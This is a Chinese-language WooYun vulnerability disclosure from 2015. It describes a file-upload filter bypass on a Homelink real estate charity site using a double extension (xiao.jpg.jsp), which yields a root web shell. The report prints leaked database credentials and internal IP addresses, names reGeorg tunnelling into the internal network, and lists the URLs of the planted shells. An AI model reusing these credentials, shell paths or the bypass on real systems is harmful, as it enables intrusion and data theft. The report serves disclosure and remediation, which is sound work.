当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140910

漏洞标题:链家地产某站点上传过滤不严格导致shell(可内网渗透)

相关厂商:homelink.com.cn

漏洞作者: 路人甲

提交时间:2015-09-13 16:43

修复时间:2015-10-31 22:16

公开时间:2015-10-31 22:16

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-13: 细节已通知厂商并且等待厂商处理中
2015-09-16: 厂商已经确认,细节仅向厂商公开
2015-09-26: 细节向核心白帽子及相关领域专家公开
2015-10-06: 细节向普通白帽子公开
2015-10-16: 细节向实习白帽子公开
2015-10-31: 细节向公众公开

简要描述:

不要20,不要15,只要12,可以吗?

详细说明:

http://wooyun.org/bugs/wooyun-2015-0130301
由一个弱口令进而对链家的一次简单内网漫游


这个洞里面修复了,上传和弱口令,但是上传过滤不严实,依然会有getshell风险

http://gongyi.homelink.com.cn/lianjia/portal/index


先申请一个账号,手机什么的随便填写,没人去验证

1.png


下面就可以在个人资料的地方编辑上传文件

http://gongyi.homelink.com.cn/lianjia/portal/user/personalCenterUpdate


2.png


发现此处对文件的后缀名要求特别严格,只能是jpg等图像格式
后来发现一个有意思的现象,上传xiao.jsp.jpg的时候提示格式不正确的错误,然后想这事图片格式,怎么能不正确呢?换了一个图片上传,没有跳出提示,然后就改动刚才的文件名xiao.jpg,果断没有提示。

3.png


4.png


5.png


burp抓包,绕过限制,在数据包的名称中修改成xiao.jpg.jsp,不能直接改写jsp,否则还是提醒格式不正确,看来只是对上传文件做了第一个点后面的格式匹配,没有照看到后面的,成功返回shell路径

6.png


配置文件

#Thu Sep 10 20:54:47 CST 2015
database.support.autokeys=true
database.driver.name=mysql
database.connection.pool.timeout=5000
database.connection.dbname=jforum
database.support.subqueries=true
dao.driver=net.jforum.dao.mysql.MysqlDataAccessDriver
mysql.unicode=
database.connection.pool.min=5
database.connection.password=homelink2016
database.connection.pool.max=10
database.connection.username=worker
dbencoding=utf-8
database.connection.port=3306
dbunicode=true
database.connection.host=10.10.28.11
database.connection.driver=com.mysql.jdbc.Driver
database.connection.string=jdbc\:mysql\://10.10.28.11\:3306/lianjia?user\=worker&password\=homelink2016&autoReconnect\=true${mysql.unicode}${mysql.encoding}&useNewIO\=false&zeroDateTimeBehavior\=convertToNull&useServerPrepStmts\=false&dumpQueriesOnException\=true&jdbcCompliantTruncation\=false
mysql.encoding=


/usr/local/tomcat/webapps/jforum/>id
uid=0(root) gid=0(root) groups=0(root)


eth0      Link encap:Ethernet  HWaddr 00:50:56:97:07:57  
inet addr:10.10.28.11 Bcast:10.10.28.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fe97:757/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:20911870 errors:0 dropped:0 overruns:0 frame:0
TX packets:18813230 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:8725777527 (8.1 GiB) TX bytes:30497410242 (28.4 GiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:14939466 errors:0 dropped:0 overruns:0 frame:0
TX packets:14939466 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:14343201433 (13.3 GiB) TX bytes:14343201433 (13.3 GiB)


漏洞证明:

root权限,可以安装后门什么的,配置了一下ssocks,没有成功。
还可以使用regeorg,配置一下,可以成功访问内网

7.png


费心,不渗透了
附上小马,其他的看看日志文件吧
http://gongyi.homelink.com.cn/jforum/tools/bin/mysql.jsp
http://gongyi.homelink.com.cn/jforum/tunnel.jsp
...

修复方案:

上传的地方再好好看看吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-16 22:15

厂商回复:

确认,谢谢。

最新状态:

暂无